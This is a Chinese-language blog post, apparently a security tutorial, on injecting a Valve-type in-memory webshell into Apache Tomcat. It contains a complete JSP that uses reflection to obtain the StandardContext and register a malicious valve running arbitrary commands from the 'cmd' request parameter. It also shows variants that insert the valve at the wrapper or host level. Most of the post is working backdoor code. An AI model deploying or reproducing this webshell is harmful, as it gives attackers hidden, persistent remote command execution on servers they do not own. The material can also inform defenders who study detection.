Tomcat内存马--Valve型

关于valve及pipeline的相关知识建议看这篇文章:Tomcat中容器的pipeline机制

实现

同前面几种内存马一样,valve型的内存马实现的关键也是如何动态插入valve。看了上面的文章也就知道,只要获取到pipeline对象,调用其addValve方法即可插入。如何获取pipeline对象呢,直接从StandardContext中获取即可,如何获取StandardContext就不用多说了。关键代码可简化为

StandardContext standardContext1= (StandardContext) request2.getContext();
Pipeline pipeline=standardContext1.getPipeline();
pipeline.addValve(new evilValve());

写一个jsp的完整demo

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.coyote.RequestGroupInfo" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.coyote.AbstractProtocol" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="java.io.Writer" %>

<%
    class evilValve extends ValveBase {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
    }
%>

<%
    //获取service属性
    WebappClassLoaderBase classLoaderBase= (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext= (StandardContext) classLoaderBase.getResources().getContext();
    Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
    context.setAccessible(true);
    ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
    Field servicef=applicationContext.getClass().getDeclaredField("service");
    servicef.setAccessible(true);
    StandardService service=(StandardService) servicef.get(applicationContext);

    //获取connector
    Connector[] connectors=service.findConnectors();
    Connector connector=connectors[0];

    //获取global
    AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();
    Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
    getHandler.setAccessible(true);
    Object connectionHandler=getHandler.invoke(abstractProtocol);
    Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");
    RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);

    //获取request
    Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
    processorsf.setAccessible(true);
    ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
    RequestInfo requestInfo=processors.get(0);
    Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
    req.setAccessible(true);
    org.apache.coyote.Request request1=(org.apache.coyote.Request) req.get(requestInfo);
    Request request2=(Request) request1.getNote(1);
    //动态插入valve
    StandardContext standardContext1= (StandardContext) request2.getContext();
    Pipeline pipeline=standardContext1.getPipeline();
    pipeline.addValve(new evilValve());
%>

image-20220508213842480

扩展

pipeline不止在context层有,所以我们也可以在其他层插入valve,在不同层插入影响范围不同,以wrapper为例

StandardWrapper wrapper= (StandardWrapper) request2.getWrapper();
Pipeline pipeline=wrapper.getPipeline();
pipeline.addValve(new evilValve());

host也同理

本文链接:

http://novic4.cn/index.php/archives/28.html
1 + 8 =
快来做第一个评论的人吧~